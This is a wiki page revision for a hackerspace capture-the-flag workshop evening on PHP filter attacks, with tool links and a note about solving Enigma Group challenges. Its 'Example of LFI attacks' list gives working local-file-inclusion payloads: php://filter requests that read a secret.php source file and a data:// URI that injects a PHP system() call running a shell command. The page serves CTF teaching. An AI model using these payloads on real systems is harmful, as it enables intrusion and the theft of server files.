Difference between revisions of "CTF-practice-evening:2014-06-23"

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* See the page for the [[Ctf-evenings]]
 
* See the page for the [[Ctf-evenings]]
 
* Link to the Tech Inc [[TechInc-CTF-Scoreboard | Challenge Website Scoreboard]]
 
* Link to the Tech Inc [[TechInc-CTF-Scoreboard | Challenge Website Scoreboard]]
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 +
= PHP Filter attacks =
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* Coolfire is providing the content for this evening!  :-)
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* PHP commands:
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** php://input
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** output
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** df
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** memory
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** temp
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** filter
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* Example of LFI attacks:
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** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php'
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** 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php'
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** http://coolfire.insomnia247 .nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la
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** ( expect:// )
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** arrays: /index.php?page[]=A&page[]=B
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= Enigma group PHP challenges =
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* http://www.enigmagroup.org/missions/basics/auditing/1/
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** (You have to create an account, and login to access this page!)
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* Coolfire is using hackbar to supply the queries:
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** https://addons.mozilla.org/en-US/firefox/addon/hackbar/
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* And Live HTTP Headers to view/manipulate the headers:
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** https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
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* We solved challenges 1-11 together on the beamer!    :-)

Latest revision as of 08:56, 21 May 2015

CTF-practice-evening:2014-06-23
Date 2014/06/23
Time
Location ACTA
Type Workshop
Contact Melanie

Capture The Flag evening - Part 20

  • 23 June, 2014 - 7 PM
  • Please bring along a laptop with you!!!

General CTF Info

PHP Filter attacks

  • Coolfire is providing the content for this evening!  :-)
  • PHP commands:
    • php://input
    • output
    • df
    • memory
    • temp
    • filter
  • Example of LFI attacks:
    • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php'
    • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php'
    • http://coolfire.insomnia247 .nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la
    • ( expect:// )
    • arrays: /index.php?page[]=A&page[]=B

Enigma group PHP challenges

  • We solved challenges 1-11 together on the beamer!  :-)
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